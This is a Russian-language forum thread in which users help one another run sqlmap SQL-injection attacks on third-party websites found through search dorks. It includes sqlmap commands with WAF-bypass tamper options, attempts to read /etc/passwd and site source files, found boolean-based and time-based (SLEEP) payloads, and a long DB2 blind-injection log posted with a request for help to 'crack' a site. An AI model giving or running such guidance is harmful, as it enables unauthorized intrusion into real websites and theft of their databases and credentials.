1)нет прав 2)waf ответ 301 может или истекла сессия или поменялся ответ от сервера проверьте сайт не http может указывать нужно ,а https , после пробуйте --hex --no-cast ,тамперы и обход waf https://github.com/Ekultek/WhatWaf 3)поискать другую ошибку,где нет редиректа
Ты кажись насувал дахуя тамперов кстати количество вроде не решит для каждой защиты свои тамперы (но это не точно)
так я запустил по инструкции на гите, чтобы определило waf и указало какой тампер надо использовать. И спустя стольких редиректов получаю ошибку. Я тампер в sqlmap вообще не использовал, думал WhatWaf подскажет что использовать
Code: --tamper=greatest или --tamper=between или --tamper=least Попробуйте один из этих. Судя по логам проблема в символе >, возможно так же и в <!
--tamper=between помог, но как вы узнали по логам? как обучиться такому кунг-фу? обалдеть, сразу получил список баз
кстати, а скорость можно увеличить, помимо кол-ва потоков (--threads 10) и так максимально стоит. Уж очень долго получаю список таблиц. Боюсь данные буду получать несколько часов
простите за столь глупые вопросы в итоге найдено Code: Parameter: product_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: route=product/product&path=1&product_id=1 AND 9533=9533 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: route=product/product&path=1&product_id=1 OR SLEEP(10) Пытаюсь получить файл. Code: sqlmap -u "https://site/index.php?route=product/product&path=1&product_id=1" -p product_id --file-read='/var/www/site/robots.txt' --time-sec 10 --tamper=between Использую tamper=between Пробую прочитать через --file-read Spoiler: log [03:13:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [03:13:37] [INFO] retrieved: [03:13:45] [WARNING] reflective value(s) found and filtering out [03:13:47] [WARNING] time-based comparison requires larger statistical model, please wait........................ (done) [03:14:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [03:15:30] [WARNING] turning off pre-connect mechanism because of connection time out(s) [03:16:32] [ERROR] invalid character detected. retrying.. [03:19:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [03:19:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site' Файл не сохраняется, если добавить --hex (--no-cast) Spoiler: log --hex [03:27:25] [INFO] retrieved: [03:27:31] [WARNING] reflective value(s) found and filtering out [03:27:52] [INFO] retrieved: [03:27:52] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form do you want confirmation that the remote file '/var/www/site/robots.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y [03:29:05] [INFO] retrieved: [03:29:05] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) files saved to [1]: [*] /root/.sqlmap/output/site/files/_var_www_site_robots.txt (size differs from remote file) [03:29:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site' и сохраняется пустой файл. Проблема в правах или что-то с преобразованием символом нужно шаманить? Есть ли вариант здесь раскрутить на чтение файлов?
False, даже не могу прочитать хэш пароля. /etc/passwd аналогично не читает. Запросы из бд отрабатывают, но вот бы исходники сайта еще просмотреть.
Здравствуйте. Сколько не сканировал сайты по доркам, (качество сайтов, определенно не лучшее) - никогда не попадалось is-dba=true, это нормально?
сайтов с нужными правами мало осталось https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html
Даже наличие прав, не всегда панацея, сейчас повсеместно включен secure-file-priv https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
Нашел бажный скрипт , который стоит на нескольких сайтах . Sqlmap почти нормально читает через сиквел . Почти потому , что скрипт или сервер заменяет символ нижнего подчеркивания на запятую или дефис . При этом я могу читать имена баз , таблиц и чаще всего столбцы . Но не могу дампить . --hex вроде бы решает проблему , но данные все равно не дампятся . Tamper не помогает . Как я понял из ответов curl нижнее подчеркивание и все до него вырезается из имени таблицы при запросе . Таблица вида site_users в select запросе превращается в просто users . Но при этом всем мне удалось все же найти один сайт где с --hex нужные таблицы нормально читаются :\ Хочется понять откуда у этого растут ноги . Это сам скрипт творит , или фаер , или может модуль апача так извращается ? Ну и реально ли как-то заэкранировать нижнее подчеркивание в запросе .
надо чекнуть что фильтрует и обойти для начала) попробуй обычно если норм составишь запрос за раз --sql-query норм вывоит бывают такие заморочки от того что можно указывать части запроса отдельно в специальных переменных до просто обычных глюков скульмапчика с кучей запросов или банальная ошибка синтаксиса но если возможность вывести колонки в работе с вафом можно фазить все слова символы в разные кодировк смешаны с заменой в тампере зависит какая бд? и очень важно не стрессить себя и свою плату особенно с большим количеством блайнд запросов что бы там не сбилось нече --no-cast стукни чекну)
считаю если с прив все ок то помоему нельзя залиться только если не понятно почему не выдает пути к специальной папке вне корня надо инклуд или как еще отуда дальше) и откуда то интересно мускуль еще не научился как то кампастить с отведенной папки то?) ну тут или обойти исполнения или надо понять как можно обойти эту опцию)
Помогите раскрутить сайт Parameter: SiteId (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Vector: AND [INFERENCE] Code: [14:07:25] [INFO] the back-end DBMS is IBM DB2 back-end DBMS: IBM DB2 [14:07:25] [INFO] fetching current user [14:07:25] [PAYLOAD] 200001 [14:07:25] [INFO] retrieving the length of query output [14:07:25] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(51) AND 'PPkh'='PPkh [14:07:27] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(54) AND 'PPkh'='PPkh [14:07:27] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(56) AND 'PPkh'='PPkh [14:07:28] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(57) AND 'PPkh'='PPkh [14:07:29] [INFO] retrieved: [14:07:29] [DEBUG] performed 4 queries in 3.84 seconds [14:07:29] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(66) AND 'PPkh'='PPkh [14:07:30] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(97) AND 'PPkh'='PPkh [14:07:33] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(101) AND 'PPkh'='PPkh [14:07:33] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(119) AND 'PPkh'='PPkh [14:07:34] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(120) AND 'PPkh'='PPkh [14:07:36] [INFO] retrieved: [14:07:36] [DEBUG] performed 9 queries in 10.87 seconds current user: None [14:07:36] [INFO] testing if current user is DBA current user is DBA: True [14:07:36] [WARNING] schema names are going to be used on IBM DB2 for enumeration as the counterpart to database names on other DBMSes [14:07:36] [INFO] fetching database (schema) names [14:07:36] [INFO] fetching number of databases [14:07:36] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(66) AND 'MrxP'='MrxP [14:07:39] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(97) AND 'MrxP'='MrxP [14:07:42] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(101) AND 'MrxP'='MrxP [14:07:43] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(119) AND 'MrxP'='MrxP [14:07:44] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(120) AND 'MrxP'='MrxP [14:07:45] [INFO] retrieved: [14:07:45] [DEBUG] performed 5 queries in 8.49 seconds [14:07:45] [ERROR] unable to retrieve the number of databases [14:07:45] [INFO] falling back to current database [14:07:45] [INFO] fetching current database [14:07:45] [INFO] retrieving the length of query output [14:07:45] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(51) AND 'SSnj'='SSnj [14:07:46] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(54) AND 'SSnj'='SSnj [14:07:47] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(56) AND 'SSnj'='SSnj [14:07:47] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(57) AND 'SSnj'='SSnj [14:07:48] [INFO] retrieved: [14:07:48] [DEBUG] performed 4 queries in 3.55 seconds [14:07:48] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(66) AND 'SSnj'='SSnj [14:07:49] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(97) AND 'SSnj'='SSnj [14:07:51] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(101) AND 'SSnj'='SSnj [14:07:54] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(119) AND 'SSnj'='SSnj [14:07:55] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(120) AND 'SSnj'='SSnj [14:07:59] [INFO] retrieved: [14:07:59] [DEBUG] performed 9 queries in 13.88 seconds [14:07:59] [WARNING] on IBM DB2 you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes [14:07:59] [CRITICAL] unable to retrieve the database names [*] shutting down at 14:07:59 пробывал --hex, --no-cast, не помогает